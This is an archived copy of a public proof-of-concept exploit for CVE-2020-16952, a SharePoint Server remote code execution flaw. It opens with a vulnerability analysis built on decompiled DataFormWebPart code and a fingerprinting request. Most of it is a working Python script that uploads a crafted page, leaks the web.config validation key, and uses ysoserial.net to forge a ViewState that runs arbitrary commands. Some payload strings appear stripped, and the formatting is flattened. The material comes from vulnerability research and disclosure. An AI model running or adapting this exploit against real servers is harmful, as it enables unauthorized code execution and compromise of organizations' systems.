

https://srcincite.io/pocs/cve-2020-16952.py.txt

https://srcincite.io/pocs/cve-2020-16952.py.txt - Author not stated, srcincite.io.

- Published: date not stated
- Original: <https://srcincite.io/pocs/cve-2020-16952.py.txt>
- Preserved from: <https://srcincite.io/pocs/cve-2020-16952.py.txt> (preserved-copy) on 2026-08-04
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

`#!/usr/bin/python3 "" Microsoft SharePoint Server DataFormWebPart CreateChildControls Server-Side Include Remote Code Execution Vulnerability Patch:`

`https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16952 ##`

`Summary: An authenticated attacker can craft pages to trigger a server-side include that can be leveraged to leak the web.config file. The attacker can leverage this to achieve remote code execution. ## Notes: - this does not require the use of a SharePoint endpoint such as WebPartPagesWebService - the attacker needs AddAndCustomizePages permission enabled which is the default - you will need to compile and store ysoserial.net in the same folder as this exploit ## Vulnerability Analysis: Inside of the`

`Microsoft.SharePoint.WebPartPages.DataFormWebPart we can observe the`

```
CreateChildControls ``c# namespace Microsoft.SharePoint.WebPartPages {
[XmlRoot(Namespace = "http://schemas.microsoft.com/WebPart/v2/DataView")]
[ParseChildren(true)] [Designer(typeof(DataFormWebPartDesigner))]
[SupportsAttributeMarkup(true)] [AspNetHostingPermission(SecurityAction.LinkDemand,
Level = AspNetHostingPermissionLevel.Minimal)]
[SharePointPermission(SecurityAction.LinkDemand, ObjectModel = true)]
[AspNetHostingPermission(SecurityAction.InheritanceDemand, Level =
AspNetHostingPermissionLevel.Minimal)]
[SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)] public
class DataFormWebPart : BaseXsltDataWebPart, IDesignTimeHtmlProvider,
IPostBackEventHandler, IWebPartRow, ICallbackEventHandler, IConnectionData,
IListWebPart { // ... [SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
protected override void CreateChildControls() { if (!this.Visible) { return; } if
(!this.AreAllConsumerInterfacesFulfilled()) { this._deferredXSLTBecauseOfConnections =
```

```

true; return; } if ((base.DesignMode && this.AllowXSLTEditing) || this._forAJAXDropDown) {
return; } if (this.IsMondoCAMLWebPart() && !base.DesignMode &&
!string.IsNullOrEmpty(this.ListName) && !this.IsForm) { SPContext context =
SPContext.GetContext(this.Context, base.StorageKey, new Guid(this.ListName),
this.CurrentWeb); if (context != null) { SPViewContext viewContext = context.ViewContext;
if (this is BaseXsltListWebPart) { BaseXsltListWebPart baseXsltListWebPart = this as
BaseXsltListWebPart; if (baseXsltListWebPart.view != null) { viewContext.View =
baseXsltListWebPart.view; } } if (viewContext != null && base.RenderMode !=
RenderMode.Design && base.RenderMode != RenderMode.Preview) {
viewContext.RedirectIfNecessary(); } } } base.CreateChildControls();
this.AddDataSourceControls(); UpdatePanel updatePanel = null; if (this.AsyncRefresh) {
this.CreateAsyncPostBackControls(ref updatePanel);
this.AddAutoRefreshTimer(updatePanel); } if (base.DesignMode ||
!this.InitialAsyncDataFetch || this.Page == null || this.Page.IsCallback) {
this.EnsureDataBound(); // 1 } else { this._asyncDelayed = true; if (this.SPList != null &&
this.SPList.HasExternalDataSource) { this.deferXsltTransform = false;
this.EnsureDataBound(); } string text =
Utility.MakeLayoutsRootServerRelative("images/gears_an.gif"); string @string =
WebPartPageResource.GetString("DataFormWebPartRefreshing"); this._partContent =
this._partContent + "

"; string partContent = this._partContent; this._partContent = string.Concat(new string[] {
partContent, "[image: ", @string, "]" }); this._partContent += "

"; } this.EditMode = false; if (this._partContent != null) { if (this.IsForm && this.DataSource
is SPDataSource && base.PageComponent != null && this.ItemContext != null) {
this.ItemContext.CurrentPageComponent = base.PageComponent; } bool flag = this.view
!= null && base.PageComponent != null; if ((this.IsGhosted || flag) &&
!this.UseSchemaXmlToolbar && this.ToolbarControl != null) { if (base.PageComponent !=
null) { this.ToolbarControl.RenderContext.CurrentPageComponent = base.PageComponent;
} if ((this.view == null || !this.view.IsGroupRender) && (!this._asyncDelayed || flag)) { if
(this.AsyncRefresh && updatePanel != null) {
updatePanel.ContentTemplateContainer.Controls.Add(this.ToolbarControl); } else {
this.Controls.Add(this.ToolbarControl); } } } else { this.CanHaveServerControls = true; } if
(this.CanHaveServerControls &&
DataFormWebPart.RunatChecker.IsMatch(this._partContent)) // 2 { if
(this._assemblyReferences != null && this._partContent != null) { StringBuilder
stringBuilder = new StringBuilder(); for (int i = 0; i < this._assemblyReferences.Length;
i++) { stringBuilder.Append(this._assemblyReferences[i]); }
stringBuilder.Append(this._partContent); this._partContent = stringBuilder.ToString(); } if
(base.Web != null) { EditingPageParser.VerifyControlOnSafeList(this._partContent, null,
base.Web, false); // 3 } if (this.Page.AppRelativeVirtualPath == null) {
this.Page.AppRelativeVirtualPath = "~/current.aspx"; } bool flag2 =
EditingPageParser.VerifySPDControlMarkup(this._partContent); if (flag2) {
ULS.SendTraceTag(595161362U, ULSCat.msoulscat_WSS_WebParts,
ULSTraceLevel.Medium, "Allow DFWP XSL markup {0} to be parsed without parserFilter.",

```

```

new object[] { this._partContent }); } Control control =
this.Page.ParseControl(this._partContent, flag2); // 4 SPDataSource spdataSource =
this.DataSource as SPDataSource; bool flag3 = false; if (this.view != null &&
!string.IsNullOrEmpty(this.view.InlineEdit)) { flag3 = this.view.InlineEdit.Equals("true",
StringComparison.OrdinalIgnoreCase); } SPContext spcontext = null; if (spdataSource !=
null && base.Web != null && (spdataSource.DataSourceMode ==
SPDataSourceMode.ListItem || (spdataSource.DataSourceMode == SPDataSourceMode.List
&& flag3))) { string text3; if (spdataSource.DataSourceMode == SPDataSourceMode.List) {
string text2 = (string)this.ParameterValues.Collection["dvt_form_key"]; text3 = text2; }
else { text3 = spdataSource.ListItemId.ToString(CultureInfo.InvariantCulture); } if (text3 !=
null) { if (this.FormContexts.ContainsKey(text3)) { spcontext = this.FormContexts[text3]; }
else { spcontext = SPContext.GetContext(this.Context, text3, ((IListWebPart)this).ListId,
this.CurrentWeb); this.FormContexts[text3] = spcontext; } } } foreach (object obj in
control.Controls) { Control control2 = (Control)obj;
this.RecursivelyAddFormFieldContext(control2, spcontext); } if (spcontext != null &&
spdataSource != null) { spdataSource.ItemContext = spcontext; } if (this.AsyncRefresh &&
updatePanel != null) { updatePanel.ContentTemplateContainer.Controls.Add(control); // 5 }
else { this.AddParsedSubObject(control); } using (IEnumerator enumerator2 =
control.Controls.GetEnumerator()) { while (enumerator2.MoveNext()) { object obj2 =
enumerator2.Current; Control control3 = (Control)obj2;
this.RecursivelyProcessChildFormControls(control3); } goto IL_632; } } if
(this.AsyncRefresh && updatePanel != null) { if (this._listView != null) {
updatePanel.ContentTemplateContainer.Controls.Add(this._listView); } else { Literal literal
= new Literal(); literal.Text = this._partContent;
updatePanel.ContentTemplateContainer.Controls.Add(literal); } } else if (this._listView !=
null) { this.AddParsedSubObject(this._listView); } else { this.AddParsedSubObject(new
Literal { Text = this._partContent }); } IL_632:
this.RemoveViewStateIfEmpty("ParamValues");
this.RemoveViewStateIfEmpty("FilterOperations");
this.RemoveViewStateIfEmpty("IntermediateFormActions");
this.RemoveViewStateIfEmpty("OriginalValues"); this._partContent = null; this._listView =
null; } this._asyncDelayed = false; } `` At *[1]*, the code performs a databind and
accesses the data from the datasource (in this case it's our controlled serverside http
header). The data returned must be valid xml so that it can be processed via our crafted
xslt. Then at *[2]* the code calls DataFormWebPart.RunatChecker.IsMatch on our
controlled _partContent. This checks for an instance of runat=server in the supplied
xml. However, we can't put that in there because we can't register any prefixes
(registration is probably not possible due to the <% not being a valid xml tag). But I
found a way to pass the check by using HTML server controls which can include a
runat=server. At *[3]* the code calls VerifyControlOnSafeList with the false flag,
meaning our input can use server-side includes. Lucky for us, includes are valid xml, so
we can stuff them into our _partContent and later at *[4]* they are parsed and finally
added to the page at *[5]*. This allows an us to leak the complete web.config file,
including the Validation Key which is enough to generate a malicious serialized

```

```

viewState and trigger rce via deserialization. ## Fingerprint: For detecting vulnerable
versions before exploitation, you can use this: ` PUT /poc.aspx HTTP/1.1 Host: [target]
Content-Length: 67 ` Then https://[target]/poc.aspx should return 16.0.10364.20001. ##
Credit: Steven Seeley (mr_me) of Qihoo 360 Vulcan Team ## Example: For testing, download
ysoserial.net and store it in a folder called yss`.researcher@DESKTOP-H4JDQCB:~$
./poc.py (+) usage: ./poc.py (+) eg: ./poc.py win-3t816hj84n4
harryh@pwn.me:user123### mspaint (+) eg: ./poc.py win-3t816hj84n4/sites/test
harryh@pwn.me:user123### notepad researcher@DESKTOP-H4JDQCB:~$ ./poc.py win-
3t816hj84n4 harryh@pwn.me:user123### notepad (+) leaked validation key:
55AAE0A8E646746523FA5EE0675232BE39990CDAC3AE2B0772E32D71C05929D8 (+)
triggering rce, running 'cmd /c notepad' (+) done! rce achieved """" import os import re
import sys import urllib3 import requests import subprocess from platform import uname
from requests_ntlm2 import HttpNtlmAuth from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def put_page(target,
domain, user, password): payload = """" """" r = requests.put("http://%s/poc.aspx" % target,
data=payload, auth=HttpNtlmAuth('%s\\%s' % (domain, user), password)) assert
(r.status_code == 200 or r.status_code == 201), "(-) page creation failed, user doesn't
have site ownership rights!" def get_vkey(target, domain, user, password): h = {
"360Vulcan": " " } r = requests.get("http://%s/poc.aspx" % target,
auth=HttpNtlmAuth('%s\\%s' % (domain, user), password), headers=h) match =
re.search("machineKey validationKey=\"(.{64})\"", r.text) assert match, "(-) unable to leak
the validation key, exploit failed!" return match.group(1) def trigger_rce(target, domain,
path, user, password, cmd, key): out = subprocess.Popen([ 'yss/ysoserial.exe', '-p',
'ViewState', '-g', 'TypeConfuseDelegate', '-c', '%s' % cmd, '--apppath=%s' % path, '--
path=%s_layouts/15/zoomblldr.aspx' % path, '--islegacy', '--validationalg=HMACSHA256', '--
validationkey=%s' % key ], stdout=subprocess.PIPE) rce = { "VIEWSTATE" :
out.communicate()[0].decode() }
requests.post("http://%s/_layouts/15/zoomblldr.aspx" % target, data=rce,
auth=HttpNtlmAuth('%s\\%s' % (domain, user), password)) def main(): if
len(sys.argv) != 4: print("(+) usage: %s " % sys.argv[0]) print("(+) eg: %s win-
3t816hj84n4 harryh@pwn.me:user123### mspaint" % sys.argv[0]) print("(+) 
eg: %s win-3t816hj84n4/sites/test harryh@pwn.me:user123### notepad" % 
sys.argv[0]) sys.exit(-1) target = sys.argv[1] user = sys.argv[2].split(":")
[0].split("@")[0] password = sys.argv[2].split(":")[1] domain = 
sys.argv[2].split(":")[0].split("@")[1] cmd = sys.argv[3] path = 
urlparse("http://%s" % target).path or "/" path = path + "/" if not 
path.endswith("/") else path put_page(target, domain, user, password) key = 
get_vkey(target, domain, user, password) print("(+) leaked validation key: %s" % 
key) print("(+) triggering rce, running 'cmd /c %s'" % cmd) trigger_rce(target,
domain, path, user, password, cmd, key) print("(+) done! rce achieved") if 
__name__ == 'main': if "microsoft" not in uname()[2].lower(): print("(-) WARNING - this was
tested on wsl, so it may not work on other platforms") if not
os.path.exists('yss/ysoserial.exe'): print("(-) missing ysoserial.net!") sys.exit(-1) main()

```

